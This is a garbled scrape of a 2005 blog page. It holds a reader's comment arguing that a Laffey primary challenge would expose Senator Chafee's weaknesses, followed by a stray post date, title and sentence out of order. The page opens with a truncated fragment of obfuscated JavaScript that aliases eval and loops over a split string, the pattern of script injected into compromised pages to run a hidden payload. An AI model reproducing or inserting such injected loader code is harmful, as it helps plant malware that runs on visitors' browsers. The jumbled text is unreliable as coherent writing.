.split(","));aqwpug=eval;function dabdds(){cfgs=function(){--(bvsauh.body)}()}bvsauh=document;for(khs=0;khs It seems to me, Don, that the well-poisoning of your closing question elides precisely the benefit of a Laffey run for U.S. Senate. Tweak your perceptive hypothetical of a primary-free Chafee's positioning: A primary race with a rumbler like Laffey will undoubtedly expose Chafee's weaknesses (even more than the Senator has managed to accomplish simply by being in view of the public in a post9/11 world). Of course, one should offer the passing disclaimer that citizens benefit whenever candidates' weaknesses are exposed, but that byproduct of a primary race is even more valuable for Rhode Island Republicans: No matter who wins the primary or the election, for that matter the political calculus will have become less of a factor in our state. One thing that Laffey has shown successfully as mayor of Cranston is that Rhode Island needs to be shaken up a bit. If that means that we have to fall to form with another Democrat in a key government position for the time being, at least we on the right will have the opportunity to offer a different vision without a might-as-well-be-a-Democrat Republican blurring our voices with the mild morphine drip of political power that he represents.September 09, 2005
An Airing of Weaknesses
While sitting on the sidelines eating popcorn, Chafee would have been able to size up his opponent, research weak points, and come out swinging after the Democratic primary.